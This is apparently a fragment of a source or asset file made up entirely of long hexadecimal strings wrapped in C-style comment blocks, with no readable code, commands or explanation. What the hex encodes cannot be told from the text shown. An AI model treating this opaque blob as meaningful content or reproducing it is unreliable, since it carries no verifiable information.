1e23a55a2e140cd09912d46b35faf03f8900254b43194799572a5c1236bdd75dc95713fb5066f6c25a44a99b56917c2576bcafa204340bbc8684faa7415164751ec8c12c68438a9877c9389e081ad741240166c5a229b21839777ae7f080a79666befd04cd7c796878962c087c72fc19b370f3fd4658df3998c8f1f881e550db756dd7edfecd4254ce37405c4327d76819f79989f678a09ba46b22989e7207b90070593c91ac9bd187a16677dee7511a0cc46253a8b040cb1f0a145775497b56e4cf0a5eaa7ad2cbf06ee337fa938726ef328dbbf00c05dfcd3420b4805824c83d5b64c2e78cbc43be09ce9e87e933c7a983e1e04ad6ef0fc8ce26fb07149db23f70ce89c35f1eb870fea6cc2977e5beca5729b4d4dd26f1d1c1d2b7c4b3da9d709cc96bc0884c205a34fffd4dd5fe495262df73a86b640d9d87cb5bf15d7997f6cd76ffab719e23aa8feb4f214e82857ff837eba6b80c429f285879c9c81dfa6cfe999075fdd667b4d9f2cc50064ca7e4a410f065a6534896a77c36771316cd2dd76f7069d92004363b0d7d5506ee2b1c820034d11a625dcc77a8a6efdddbf053e79b564e4a787b80fb76e5a13b5b3a8ecf7da758bff8c1bfade92503703eab8eece1320d5b8ccb1b1*/
/*9bdca6a9ffb38d60acb0ec1a058dd6a569ce03abbee9c554df30f090f0c4d284f41421da9f0828c3c4f9d2ed5d9ad8b1513bcf1a42641921cc2b27dac2581b305a2f6762e477467ef25d7eeacd33eb6a3a3b7fc40d9be27acd9ce7774d4faddbd3b843362d536417b6a3e138728c5ac0f3999774d9773e2bc43c6d8b252501de45b719d58a85ae02553485996dbe426dca12d579f72457c2db99dce9a0f616595757b021c859b3248fd22f817acf97c19d8efbe1b7eca9e5b38acb8928981aabb72cfa603978b049531dba2ab0ddfcdaabbf7f40a65989010ce362090b34a0c38f79b655e572d9a0eb5e2c1e5013d5e10d97a12863a5ed3f0d66a9b12924a50e6cef61d4d3e261a9287a8401fddc22547cb1f714c81c585794026a1a6fbf78a29d48d5b13865887cdd834519e9696c99f559479d20214e95aa14cd4ca6f2c15178e07986ac6d1331d8296e40de851a4e11c3733759d091389c2fbeef2eeffa95aa633e8560373d4c2c6caf310fd365ed7646c47c3b44b41105a83aaecce47368f2a872a04781879e5a086e8ff786b10547dc72db46ec98b7be46e8e6e5182381c4c2d9de645d8f8dc2687fdb1ff5e6abede2a121f315e54c5943aadacb949d923179cdd6b55f37a030167d95b4f6f3cf0dca418beacaae6dad0d65d9ebe6df4947cd588051bd52c7b8c05526641f402f282858b94671f05200f47016698b97d3208038f8acc537059f8f99e146339d1f7312d6c5e457ca81758d0d759e08b90fe2e0b5e0eab3277a321a81028696d8cf1c1935bed4c8c8005315d45f9d9d6f76ee463c593e70bb85664eb2897328c2725ba124d4bcb85719ed2ad4785db3d8abcfe285dab9af6a5c9470acb4996c1141b686586dfbe7fa0e1c5cb09e2bc22ffd86085a7f986c876f933fe9e07726c872b7b96688678331b14a0fd08bca598d09af5a16d9b408b19166dfb07e0dbdd8ca7e40b6028c64ef8acc4f2374978a81a125dd5ea853982424b66ac6eb6e12f85a0df4e1d0241b167ad9bfed1009db4ef91e4e9ba33e3ce8c078f1dcbc9cc4b77107de2c09869e70a141176c80e38b961092b902a8768ea84288c2d14566e29eb9f73da1daa21b000b579b40a3983011332cf586b1455100e7856f9e2a6abf5afd8caae932ae0036361e8396e6390a6294dea63bffbebf96b3655342c949ae38a3262406b1dd8206fc978ca97d28c26ef666a3691d00a0581e11a4ec6788c2abe376abf2c35215f4ab22dc0e3024af634630bd7cdd08670c9fed0f2016d91049aa35ecb9d5565d87db2e17b325383f795b93f1480f7ac967fc460ecc08e79590ae4adf06ee94d68ac650e16da46e12c064911146524da043777854e8111242e2c01fdac1ea6abece11e47d757450c2270a3fdc3e917d6c6f1118a7eee70f36a3361bbd907949195311c1e9413e6a33063ea0ec86a01b7cd1aff0e8508bfbec302b71fbc5b1b23bdf6e80b2dbe985360f104d21bf681aa60320f71578783fa789a20ba914df2fb92a59ca4fa661257c94d51fa42449f37dc3975272f8c77d17ff69c3513f3a764bcb80a370211ac71809aa7e2eb436021ef4d86c9e0c7d97ebd57587995403d6d20d55949e649e4be69b499e3d2c79506a8222e0a71fdfafe5f3fe32bbc7409b3072ad26b331999e0e0d9d8f58bfd53c06cd19a20ac197d43d2d44c3d6832ecffc6c350285146d8848b374e8dd6611ce2a825632b92a6fcfe4469c74803dc5e3912996c6679ded441eb7b4ff0160a2731981c5e2a570b0ff8f61a630ead404f8a2ee7e725c7173ab6cf91ea56041ca9aacd129ca72c3c167a97e0d54c83f63d49bbd53ec90a9d1c192791128babecfb234f8cc88485495117848643db7625a6ee7f982f3c3f7e0b78ca2467e291a1289909030dc2d93b3fc329271fe3fd5956ad001b77c1f60e954a19b6cf5b501d413d6dabd0bd8461e8950c8ac8d8898619a25f33e72d7bbea450b8e47cd6cea55307aa7faad351c80290cd6a058314fa52b16def2626a51ab07cf258672ed750c60c40b2304729e37fe527dd8d82daa41927f83730cb56f6297a768ffbf35440e98ab854135319d9396345cd655ba5f0b790df05509fe0f4b0cb9ffde85c83e7dcfd4e1f0db9aec9ce8eb2afda36b704a6e2a46f0d38efe748242b534ae97435f460fdcc7715e65346c9c2e97644575ef3ced505152d2335f062b65ada8469e50a05ff7eefa09355142076c9ad54bba62de47d80cd211f868a430e8ef494c948c546354c6a4d68871d9f36d72d367d9f120c9a5b436039a7f894fbe097f1c20986644fe535b724b5caa74b0d5ee268726da97a2ec11a6f0775a1637136947a93f1359b3496a2db9f29cd9bf1a10c958f7c881219494bd6280459505cbd85f1ff33effbab60d861f4a6598926a2a5124b05dd0d1a7960a9e093944ffeb53f00ed64aeca287d0b73030d543b41f2e80824f686c873feac927a9a6302561d3de6854b154521464a25afba0696818cb876de3a59a6585eee38b979377bcf7190c3c622acf4134d0f9b902541a4149665e5fec619fcf1bae733dfe3c6eec0ba79208c8ce0c5df418c4ffba5e07b931c9dde908b17a51e2903dca0398c03756e4ed6a93215ed36ca0e79d2af3062608f5653b56f797cccb88f521ebe1827a2fa12274314ce4b730a188ce35c0098a32cc790a4486a76a817d908a2581f67a0a13bd0a3081f0f98d043ae412d2760834900310b70f0e35011391f2844a5b1c76afbb7ce6a26aac3bd4d5b7e144df74468e67bb2ef30ea7cfd684c086101964cec1578a19aba69859d38a815fca4c908a*/
/*67e6787fa9db6de44706d9a28043a738303fec22b012df1462d4bde2283fa26b22f48c79e75d58c92937e5fc33e3d4123acdd9ae758975a77d62f7ee650ff7b186449a3f50e36dcd65c3dfa6a8ddaaf7f105d25005d6be92ab62810f8c552f10759d933dcbd309f58607184010ce0ffbc73ce701ff9ce677011d07939dd484359632ffd688df30dfdf387413813341b0ae51d911417fa8fcfda14ced9197ffa86b5273046ad8a301ef3ed62503336da84a0e82dd5cce46936f5147fad1822a8c9931bf584d1a27027a94e276ecab403dfe58fc5041984981da0e489a1417f0afa728961795bb8908aebe36a26cf7918a5d545b8374d6e638bf00c7292314b9f53f61dade762168e9a24d28a5c17260f1925470e06f850a89a8b50c36878883661ec073e7d772408d4a698ef4892145af91a74c27e0be4224b33a61703999210a0215ca78eed8528063e6044efe9dea2dfd7524d6326089e0ddc7c088ced6fa8c6feea28a27a3bc48229626965eb71899b54cc1577ce448aacf857dd3401431b313468164b7dff3b471a2cd94aef8ee851fd87a35965ede685aa7211f76bbdb5c8eb558883c1ffe387d95397b9e149f9381690262574ecc51c5f2f1ea3cfdce1bfac7eee403dc267c38529837e19939d7cc07399f23a7c31356f4c7145818d81d66e441ac90a678c6df5b08b57aeebcef9557c4156d14065891f296f58bb6f38625ca9803dfff20f26603c9a70fdd484e0012ca5bc25049e8c0409a74829b1430a685d5b81d1a08ec8a6c9738ff07a8977152e6c841cd842ea691ea67fe83da4c1c8f5d11e4aec92fe74c8385587b653f9feaf8f1a245b271c09165bae157ae1d4294945048ddcdb76abd3df19ece95513710044c37d46a81e165285690b26cf4377c4f0c49bf60ebf742fe5e0430864477fea5935d2ccc09d4679958baa72b26d79b55c816796562690bd652fc60fc9d8302e4e8c7105f6dd9b5b7f6fcf2f24b5ff01779564bd13ef26a7e6dcb8a5128227a735a4fbbe4564c9c5c0b8dee0898e9bfa84e4828e841baca78d29eec38377ffea79f2f0dc025823e3298d53f4339f15d9b1d01c15124a5e48268e38bbd2107d2d0cbbfb9cce721b327a83b6771d2aa43596ebd5157cf0bb4c2be97f60d2580ed71cff040f8130f34f4afe31dd3805ae48a74d819e8d19579cf7d42492a7e6c6a025faf053af73fb3777459f3a1ddaa8748d666b4c07d5af4eb674ebfb31add2547f3d168f7e9dda27339e49abef3d1d9a0d3e51bc83258b737dd222b2a0420ef3c54786ccd054a6803a00d198195e46b14517a07b0830707d99cea4b3105092ab4d969615bc7d43c38712a301679835d8b8b5a69116305aebefde9591e60a787086f9d7fc641c50da38f8a20ea7e9753f7f6fd335a87630419d584e8e3ae0413f6ec449ad41c1d175189e84c071d6699ee4ba211feb79c206a9be72b98222d6de828241b4f558b6a602c6726552b407b40fe69f74bc50fe497fb6b4a471ee840b4b498bd455080efa3910781c4776ea21a80ef8ba0e637f2e59fc70e5e5b3c8e1acf16f86a0447136c6d4f2c3fca83e06359fccc16fa1cb0b72adce6cc9c88ff59b7fb93b3347970caaa6081a1ce70a27417b03ecbdf6d0d9a6ab21a66cbc9b93989f8e9822c298f0d602c5740a33c39ff3ca6f900c8e31585e2190fccb6f39abd5b16a9e15cbbe8ab5f81afea35daf0fbc686f3029f7d4f22acfe08904909a8ff80973d8775867093f46d01c1716d7a783ba3bf9dadfb4f7b033c3e89324bc7b89897925fb237961e63cbf06472f9fcc187463e7515f505df7b8719662c0578816891acd72a754d08b6e93bdb80d83c8435302ec40a5a2f3297379bd2d5fd782916d9de56fd79d33f502a3d9fcb389183cf7ac1fd86d90d259a06d1b2df900a0842f05a3a80084a7286680a7671625e48a6d9c17e4dfa35f9dd57e6ac4c4b50590082797db2c9b5ebd155a6cfe6a2fe53e2968fef7f6dea271a6d93b1659403ba94911157d510925e39b36bddb0871ddceeb10c91f70dbe8759164f0bac6a2657f3d57432009754a4f88f8995fc623ac88a19c5c22c895bbc858019ee64c77c6db67cd34052f7058f153555f79fdb716608a6287cf561a793c39bfd82787be8f47b39397f80c111688503c8ae8552d42fa055702c904ef6ab36ae8b1d27a2431e1e80339d5d6fb0c91dda5612c50226bf2dd64564d502b7bc2709550713b50a1838e6a9143d2da7d52d2a7ab2f13a298929d22b888b16fd3265c8afb11c0bce07c476175da9bc2b02d2ee2b2ae13b741747c67e3571adf7baaeb239ad66a590b06e9081eb754c864d3f3b3729ebbe17b93e1055ab570723755e99ad3cdad46eafa7c778eb6730aa3e160a2d2e3911892b3ee683f77a97048f703102625118a7a9626be40f52ec50c2a53ee5d8a3621969d222a96f9837e0d0abd5df04b3757ef15cfe9fee3498abdfcf4531ccb5a91f7e13cea3dd20e8102a5723c30fa3cfbced57ca6e726cfa718c98cc1eb83a80821f83db84b132df969cb746acce2e23f3e275463d47214ce0596bee99ece7f94ca6fe117f945bfe8243841f227d174fedb8f7a9f9343d5404cc3434c5dc4f690956201bdb026e4197a88560949bf70ab0737b6f39e8064d2624fd3836cedcf2fb348b90529d068ffa77e7d870af5b8a14eb00bb016cd16e501abe800a9a27ecadb49b15fd2896fb7fa11e574eaa53c49058daa680d623b645c7d4efac71f1d93c2ddcc633cbd5f59435abcf5f0030e4a2b656c52a9cc9c7f5f3a28f1f95c5a7ccc4825fbb799376b1cb72d8ea6533*/
/*2486ecbae7ac58d9fa9e773d6b5560d50b280b0c3c3ec80237fa160718d04acdfe8525911b5a757f800408b77b8749ee0dd0154de1045838a6728589a9fb6891e610fd4587562ba1c32f39e8af5a86842727b563712a0544c62cea1449f7c478b78aaecb98148a23089e472805d76c8c4ed8cd9d70921b615493e7c6e9d415fec5ddb9d32318275ab2e3a3749cafe1778770c320612847641bf79480c0d81536ed5cd7034c0df88b2654526a5ad8c2cf1de90bd53c4428da9a79da391965696bcb7c8bc9a2f28a2d05848a749d42dd845023425df8bb032e463a710e7343da2de1aff6a8d774996e9fd0346b5029223111cad7ae138181e0690382636144b65b14a1acb771289ad3b52d171ca9bd61f647dd510a26aec1d881a004132b9820515ed69972d6ee2b4d725a1e2f493d51d4d2e570488c9bded52a4c4484d946abedeb70e6ad841355ffb669da6b72fc90c2e00539d3d836c7f58b74ac0ad5c131304457a3f930054ed22d41c5d68480aba41091148e24740ff8b1f022173a0dd92bd6bb6e1a84364775379e97041de36523777b316bbccea33e24d2ef7ecc4dd505a19332375eb60d59811b8959a91f8586b730f100ace9af7decec6006fef7a9561f05d5653e683ff22c4460596f748945e3a164a22483da4ee7366a92b645d0d45f102cd194f5f9f4d2ac9d14f50cbd1e1934850e90989950bdac1454898f1954b17201ea931a67b3dba459e09831c8f3959fbc1a2102bfa5a842fac7b834bd4de5f9b33d6213baf9b093be99c55db439156c4b756a70f0729eaf065d97e3af5cbee56f27ae23c20100064b43874916abfac7e1f51d7a8fa5e5838345f628137d27bcc305d9f6da92ddba93a272020e625675da85da555ce4c4fd40270416f8201430c78a07dc9af979d11e55ec6fe487c71227589529117a3f86628532bb5f85b4eb22be04c06321708179c45022fb4046349ff5dad3e991595c59819eb5d96182550dfa290ec316159bb4447a5546f080085759179150fd9c694ae47cd8bb35cb1effff22ca5efaca464e8e1f87d83abc50b9d1dc6ce699ceef1116d0d64177cfc48c83ad64809bb03da73b76104c3f34e1aa910d1fb7f1d60c5843f654b83513ced3c4362293653b8e6897b58b3fbc5bb7ba1cf9dfa32189e0df357c32feefe55ec877e54ac3beedb17ec4003a88bf504a43bf40595c59ab582de8d432f754c98c6e63ca7de907f5edc69703314279ad1ccf57ba59d3ea0536a55d49cca30a6b51a313f077e3a46128dba6bfd4dc50c0f6e9b31e1f1cc8f0b4eaf74ccf840cf0060213888caf6519bb98e404ded5bb8d2f7613e2ce9c3b06297ecd177ba19a77f901075457248bd38e1b3e71f3b481f662bd484050dd02fb08e01c4394de3de36063d303b1fe25c0804e246fab9cab24dfc8bcea081fe6d8de91d6db99bc4e5c000126337595319c30d7de65ffb2adfae3e6938eb5e83bea9ff278581d351561072f58621398e5540de10ed076d85241b9e498a38e01012d1a1a3745ffb0a59107180975b2c46b5205de58690e3b745f557bbd10675fd0affc1eab56d43a60e7fbfdc5fec0f5d4bd51c0563e2b897f656caaf865744404ab1b8fe90690562533b92773a736c05759df776a494212f6469923d7bb7dd534d91b4530a717ae3d8712a21b629d5fc06753e9bf5dfdf98e8dc91aa444ccc3296a8f5fc38afcfa6d9965d1b704ba39b518b36efcec19af95ccc858c945f25f8d1409ffda61e8ada694c07ec9568b063d32084122b8fb94e642d6d717f484a8703238225e44cc9e9b1be7ac6cabc17c4f8ad193190e466ff97ecd4b965fa935ae4dffe13a8c80b8d79000fcc74de5a417974aae628763cd9b14a3cf6a01fe3989454f829d3251f6897ae6ba4757c3e3087f4b5de23ebfa6dd278e24b803be82aedacb0e59e2c1e7e511a89aaad948471dbf59b63fe87df02126e098375f505ac009cdfc197d11cf316f8bb6189881d4c16d6a33489bc0e33d95cde9e93c55117ecb4ef1431775f755085ddcb9a369595df0dd1f1f49fcb53bf71dc806ac833a35dcdd315e49ac3a97aaf82771a7108c94d4366b7efeaa3f2eda02b777a9e629bbcdf57297cf13d7aaaac31d618809db65929de6d5849aa1c4eac40bbd5d132552ddca44dc46d7d1a94b0a72910a410e767e5c459802c191a922b6d95e9c470e3e3b443cf0215a41c50e415f922178053d23488f433d300a0030c2608f22bf2bb078038ff2fcfba06db70ecb7b1e1368d01de22ff99baeaedb71a5f309a45a4949bde37d7b450067993ced3ec7ec2c7e175c533996acfc348e51c7a1836288d0c49be92c2a1673b60b647d8b22800118a91385469e40aae857b1ecde80e2cc704420fd8f32e786a9ced8b4930cf2cecbc0766a09634b2dc82b41f5fc77f300336ab6dd78a75aa690db2e37aa0e7389032dd4c741d7705ecbee6168496357ca155430594a8636081d633483751ccc431cb15ef018e1325d8c74b6a5cafb8fa9e14b3cc77470560e6fbc2a6753a0ff04946859f1c647fbab90a504f380cc809c1144e067bf919785d2b8efb8ac3cb700340b118e55859dc90bf31ecf05523bee9c3f3a6cdb4dadb77fb9ba356f83a077b496b1474aaa554cda65e97f20efc75e0d7ce332f926d225e59fe74ec348d32fe91763ed7c848c92df19e7d64b0bf0122ffd63592adc31f84d6ca22a2e5073b0c5451442f840daa38361d3f8412a9e7dca61969c69cc2ba230475fc9844ee88f3327c2a1269634407c738650a1804baed3955fd9b5af8af93c7b4e78456b7f3d16a84f309cef5857ff1b*/
/*fbce622a4ab2f102cfb2fc1d63043bbbfd245373ad4447c714d45ba43d81d7227c13da4fe17722e03cf3994b9dfd9fd888a7f0e77c7201fc7e4b85f4ccc48b5499b04544e8d32e0a92f02090a0ad0c48f87c7e674aca548e020337cd3936677dd7489fb43866951e45acd52bdc4cc835a949d3b38074e90503d0208258882f434637ccc7dbce22274901e3fbe73ab769a7d4ce52c9fcb648e679baa4d526adc788cc0398d79ccda5da51e53b458572c772c8a46ceca71986693c558c60058061dc33f42d11011b2f62f58f880812b351bb959449d3bc4f5424bad22a3c4e19cbf62615301cbb3a323aeed436c06ca84459529e3ed26d009a00ae09af5b3382d67cf2923e40f6e0e2f3c00cf5c5bdc3d890c6ad8cedbb4bcff5204a5380abc718248a6c12cd3bf391b4ad070195776ff0310f05c29ed6c974cff76c6d24d4a1e72de774a46ac3aea644e14fc0e54d74062e1c57274287683da10ff00b927c6ba275ff30c4a7f892edf660a729f4f85d5869ec992d2bdb0bea1aefddf8065701e4944e95268c3439d93cf4f5b27a971ba90175f4ca37d1b5af36f29f517143d525178b8c8f05dd59f0727a708adeebc2136f1eee676b803e9bfeb53ba3474378caad1ef1b2fa5b1eb26ef184a3070fcf20fce857c71bd18d2215dea5817a0fb4a9d9f38cc80da4981f3252956debd8cf820cd0857940529f2dbb73c24acecfb00b575a690abb328a02d999a6ee06a7e894441255108075a4d4e4d492456409e1d262497f23c7b711b861270014486c3669840e0a393ef932da1f8ca8dba5fae0e595faff9078520ecad96b5cd174625224c6cb8c161a9193544b346cce7fbfa2618202092ad80c7c9becc98a01c7ab9694acd8c45af24bcd16425ee3da439cfe5d6ca5e059b7d79aac661d8f95f0d76c8574725f84c58364d821adb2f0351826afabe3c23f143a264eadf8ca8486529a333f76d7da3c769995e4aa548e36dff9e8c4324a64bf3cb1f2ab065a95e914c585cc919f4e63c2f1f149b8130a8c68b765ec8677143b718d01b655b9b9c60ce79a3617b04b77329c5ab194b334b710b9e319a6cde57d9d16e1ead89615bf225320cbcc9d24cfd5397da2b6d3756b4a773bbe6fca0799297a9a4205e69afeea85bb41e043432e0d9698bbc1bd738b3829c8f8033cc11290b267bee8216272016cb0c33983d51b629c17e56b3f492671bb22697fe7414f3123e5ebcf7f4f4107deced82a2a11857cf72f3e01b03ae34cf701f6055c2909997a949ee9b815084b0ff2ec3c6c21678126493d3b050ffda146f5920362799001e0a8f75185fe33c6c5d039bf9de6107b0bbd8175a4ce4e75537b458418223f43173a705c88ad4a5eb214e97519955ac2cb43fb7bd3be4149c34c682b8ccfbd02a099e5e67baef912407de9770dba43a8a667f665050a5b4107e2a6c9cad834eb6f252badf28bdb95db245626f89aa8b988140d568e56ea73b9824dac3115f569fe782acead04020fcdb0b0fd2ccf8f0aec03a11bf72ed27dae2c4f8d24a216e03dd217c365d10d4ab687f8745385c418aee1f7f32026e0ad0ac89b2e2e0744fa677c34bc5443b4d14d0085fffc530d1d7a0ce3fe0abdbfe603ba90a4b2de7eab3b997af5fe8a867353ad7b0c3910711ff05100acf0d50df1c75618f68a90ef9293c5f0737af32a8e6155a6286174f96e3c0209b79c275e1b6f2ce5fa0e1507ce8c52cb15d3a2b41d0e200a983daf0d22723294f62c29731995f2a8731a8f1a1b2803b552884740a713e6ea13495445ecc9b1b19bcf45715a43589ed3f9bc37edbce0010ee9a4c0f7ca7953aaa448399c30c605dc4dac98ad9b51d3d45e647af129a41abd79c9f6061b53c3e76460e5b2d37e92b63ec2c6ae9b2fd8b0ca355f3f0303b92e360531bb025aa526821c395c7f5cea90034abe1828a61bcb5c84f369c2df3947eb0e89d09194cbef608b463308d494c8531c2a34635e11e2994174024ae5bb9e87ceb35eb659fe0317764ea15114cf731730579cb6d1e6c87368c3e810c4ce41f5b8ffdebeab5c69844cf0ea0f293af1ca80c16143562e19167143cf24d1c2cc8a4359ad9642c6b39a839fdfe8da2c4256bb0388bb94f34e2d368f35ac95cdbc594b23874d915d51e562afe6270ecc6f5e685851ea35efb1db94321d37fb7cc6173c4ac492354489691d1369daec13a78c98ce15d0e4e8b8086f27d24a2e78618149a65837b83e54b4619c0514b6f0bb17d3965ac4c6bccb379847efc1ff3f5711c63ded4f8caa7cc351d2c9eacad63c05d1fe6fbb348839e4c9f77bf2eff8b8e0a9c9232b4c32cfb8e1fe595b9e7fd21b75855798d55c68a4a30f01842bc8cdec19600fa6b624ccc09d2d9afc8389d1dd45e61055b80b6b4aea378ff2f8cc4a24fa7638e8de978cedb53a9db030541e9acbf9075f8e5752ecdda5b5c25fadf7f5efc43583095b69b18bb3927819490c39358bf58f985caff4bc04b13e9028a24ae588d38cb04a628d3135aa0765ad6bc0f40a7c92410dd02bbe9998c6652ea5eb33bc007d31cbe3345348fb2d109da0dcccaa0ea63a6599734da777f9a37f7129b01cb2ed2380ce9834f819dd8593a4fe75878ed73ca757671275343907f2ae4288ffb49f0d60aa5e15dabe0c49d1314c11be4afaafdd34dab0e830b9e1e46e17f9d6fcf742790ef3b48724b62551fc1c15a9f1fc3353a18678664c35ceaa0418be912f554d2ce67a3b22b6ee21d33bb6e1e2dd57adf6968b04b084062b28b62da882ebfdbbbd2d674c44472eb6b182aeae189fb76ff94ee6f64bbb81f7baf2775032a6c24d*/
/*b5c5688a835ef63377b88a760708ab3f6cec0f891b82d7cec6384fa15140db67989553828e6f38312b38ed0d58c354e1c0b8e3b2975abe7f61cab64ed00e710e3b30297b97d7a1083745a04e8229e5ad10f0252ad3b06b9342a57751976b6739d66b4c0c61d2ff3dc08b067c99e4cbaa0c2f13a7aa16388da1cfc5c7fdcd644fe782dfa6d5537a387b14c81a36a465184af7ae3b40a320f977b3711e7f620ccdab1d4a2a0ca193db16d98e050eef2a8842140ba709b812e0631bb62d92dfa5931dcf7ff16f1ecdb2335dae77575341cb71511795e2cfe4c343aed43aef7e6fd9c3782f0abca5bd682320a692d35b8dc6b8f4d25730e172ee24017b90f1e9efcece9862b5f062eb64f8b1204a6297e0452cb24b2ee9ab85170ef5ac240e8c47062bfe01aedba7e65ad62c4634dac6e76b7ce5083ee40a93456a9a12986b0064e00be1c9062fe1494fbd2c28823b518fa577f2fa9ffe82110fe24877bb781b13fc803f19cccc1d0f289504b5ce0335872e049e4e4847d2fecf9af8457b69112b02e402aa50a895c145e2de17d438261cc17c6a3bbebd500534a519dfe2348d30a9b1d83c76e03b8784eb9febcff6c7690b48b6d9ebbe82f2d06b4c3ad5461e20a8209f5149b0594788ae1632e396a1033230a189bda75bb3f488b287744cad03b6175b3fec20c48f0cefaf27eb2b586b51cb06659d8de5fcd9f2540de43c397ff61671fca81665193fafceb95f08509eb3cf3046a37c8765c883f8e505389dd7606bf4695d804348e1b1d2363851065a7dd1acacbf652974490334079ad421e355b89414992c6d7e466d4d2cba425ffc6d0ce88dcf7045cee53d75b1387b76620fa38b1d58c8a64fbb985a54e9d3c7bac08e9a70d3ae5f9e9dd028665ff06a6112715c2d6fa9763ac7d9c2194104d3f6e517c9636262a6e92f0bf1942e647b1f3836ecf42b37c549cbc8b4917634f24338ae925a684c95fe7b3532de128b89e94f78c6603b4f0b5547c4aa1133ad8fb980f4e8cfc6e13f4cee9f9dabb615825447b70be2cb37106c3546cc6737f4eec672b1632aca780f4c2d5488ef15e6ded795c2016a73289c5b233d0e74e27f621a0bf36c6cec9be85955423adfa9f88bb297e58554bcc4e7cfe6776b2235e05c05cb85f549c86c6d38f84f21083fa3dfd4ed4958f195c020be3aacdebb95a2dcb5b0ddec260643e52147c988496ac6d12722e67d3f52cd5e9bd54f372e50f1e60cbff9db1a65ad006bc508c04718348796419a07f8e53e2eea725f266fc8b8d2b88f310179fb3084d184932b3afba590d302b2ad27ab751afeb4f7a2395028d64c966361c200a8a525d63b827320115a5c18d2148343f89393ea661188541915c5512fe6377fe08e31975a3624749e99aea021d65f761dc570e72efc3e4ef5650367c3671b366e5bb74b2ebb4675657be5320527e49760570f1962d5535d73d3195e79ed6838f7a8e81a27f89c11815aabb34eb7c1eaaf7a556bd9fcf4b0adec43ee5aeb216ba2b2e5838da90eb162d35f440c5dab41f89dbffa0483bd0276af9a829fa049ff6ce0fe33804997a4b43188de92cca201f97853d738922df49ed22b9647d8f0f2785a93d0068c8d6bd03dd51f6555e6ea2bbd6aabd999c934fd9ab15dc9c0cd90255c060bb2bd46fbee56b5a3b9d30b4371bfc1c0c14443c492b437ca3a27ac405dae5aa45b0c10750dd7a0715ae8f3ba689af9b55a3284378dff5aceb1d5da51c76108005eaf941736b6758988f4d19b9d0cfa6315ce61d2cd10abfc5f5da0ba5ac96442ccb3ea2161147035761b485f90dee694b1443cc2c116d8650de2ecb7176b2f246f44646b7d0920297cafcf73b271d529f4421bf9e496f17c18b55ab6f079dfd3577c103ef18f56aa8fc5dd4d610de6803e77a4eec3b4c361d48c524630195231bf04d0ac833f6c73b3604151575a06b1092d271e5e6987288e09c7b837592fca80ec59f1d0c002c2b0c6dbc847288e3155510dc31dd70a70ea15f4e85beffd4952eee8b17983568b2220e2314c82b002a7abadba4501cd42ed941bb52629fec6ff963e742d28d42d0d5843d9497c9e78b9f876ad80288d572b3c4ee8c6f973bfc0b0790260894f4e8cb975376f2217d79eae7a39856a2f8058306ae8083a9d361a50b55794c6b253d1326d28b734400c8cdb275aeaed7b2f799ce8acd112373c7bc07c42802f20470b0017b6fc1603ffea3b291512d84389a41674e088184c5d5589e2f6439082cbdb3bb8c42c3bbfa974644f1e4fc9bd93d999c6eb1dbdbb1a9d6bdc21f208b63b451592479e33340c3be3193a42f6ce2026b052bf988df3bbff42f4fff4beb5f90c63f48a0120dad36a1f72d0996403019b16f020001387b89adcff45901b8445faa54b0479135dfc826e79cdb099918c21daa36fddd230cbcfa047d01a0d4576a24e4e7a25d899502ab7d1c48824708e5f1802ca13a2316a3917ed23b96b1ccb8dbef40704e371854988276e3e91da2f9079e5a3925a181c8468329922a27b5a4e4cf8042cf2f5eb4c393b870c99214146f93b7f095ec7ad159db06f01d473f467b745c62708582fbac16c6f68f2c29a0a103d4fde4e68f80d93167cf176978d9383c2aec295f24d6f9e1d2a114ceef36f8982b45d6adeb1583845398397376c42a6a4a6be4ad3b37d381bd992ab767a13c38a2471c7bc7fb9898f02e13924fee2d8229bdaee1afb5e492e25c78fcc0efa69031534f6a2d9cc552253a58bf3b90f81162a0320d4a819e764591367b3d1bff0835d4fea70f8e6bf84d7805f39f1d7e01b30fecd154bde62e7e338eaf253*/
/*f7fd822ab6e1e08709ebd5f8ac93d7107a78e553aef88dc2f40cfbad35ceff479481ed27d58eaeb13b548b3bab1a89ec6376d9a0962bfbd66e453cc3539660f507e18ebb3ff687477831ee1fc76b5712f583a9f5c17cc1b9215937c56d6d2bae6ac4e174ac090ff601be146277069bd21ce09b21e40324e9dc93f9167c44a1a061290c19e53ec7c41cb139d916fc47cdf06ec24ead8b9618a0c32fd5c5387c0f6e2176357127ab2a0ffcb870dadef9c7ce7d1cecb4b2fe943bc6a3da21a22d1efa6f5f0267e3e1c3ad9b61ad8cddfb4790334639f3bbef753f26d941192ce04ac866f8fcf5581fadd4a3d13809bfd7bfcb052422b0a239e5fb160d915501fee04e10846e10e236f654b6272c09a2effcea6da766082829181256bd742eda893830357420e86cbcccdd2064c4c81065a645907eff544cb6dd7255fe4c471f6955c0f990e7e74facf33f844c7cec1619363199ed1ace061e7158cf3ceaafcbe759cf243e264d9ada58719fe02e5a23823b8bc75f709d17cac07408b010e723a471ba8584951e1a39cf8bac590af2c7c720e1ae3665636b70575f06c43a96a7254de1ead86f9b18d83dce6a6771c1ff3cc20886fbf75f4c0ff331920fc32f16e9c3d74a5204ede9bd96822abada71bd13f4b5116d61567d288c480dc6c0357dd6b67b418ae37a3950d8ef3433d41fd767d8c2d76ba0a5d6fc33370aea2fc74900b1572679d0693fb9f78bf07c3ee02ffbf357ef1952e881adb085526448a4e26c530b6d4302d3025e4a489e38bf0b76091791fe507db108d680724e8456cda1aba7da84abbfed1c6f85d96c821e10c5f42d4329a909e04f4bc001c1bfbe88e72ff825f93fd3c533405c71f81fda294bd5e5fad29e0505e171771fd70a4153ca1b4f0758aaa8a3a8fbf57e6450d9fb87beb1ee0f8be1bcb102eda43f325582da7b25102fbe6723a2b99bf34678ed81bb552a270cc059255e68e20cea21bd6187f94c5b4bc00a8da0ba212072822725f9c6791f367f1c1cae05f68a374c51a7b94e82704fca2bf55a44ae22f9c48d4fd6f7eae9f6e6c80363ca8b8960746fe46ec2da66e529e385103dff9e3fb77f68be4dee222b340babc56246619cf5e53087e56712a6874973cd64206236b1bf5aaf8c7f7abb6eb8a5ec566868b16eb50f560173bc247c7408e8f7568bb3f41ba8f21198dcb1c125ad4e817904789b88cff36304346051f057350f4f1f8736e1acc896171b75f2e0acbf0d7d1d9f15a699ee89378077597c702164744cd95cf3d072e523244b7f44d686626427b87e9f68bcf2c93cd2e1968e036ecc835c43a8e04bf72a0dd58687d8a970153b6707572ecf0e2506539b8425a10e5c8ce4b077a809789b0019fab1a1b8dc2b6959458aa4a26e27c8d78fa2f4e99aeb21392dbe85cb6ecd755771a7231ca8094c1e823ce2dfc059fae3c3b3bac06cb50b2d6355b269e1f947a91435d3652f08edc7d61c2760b3ed395b00ef912064505800a5640e84f0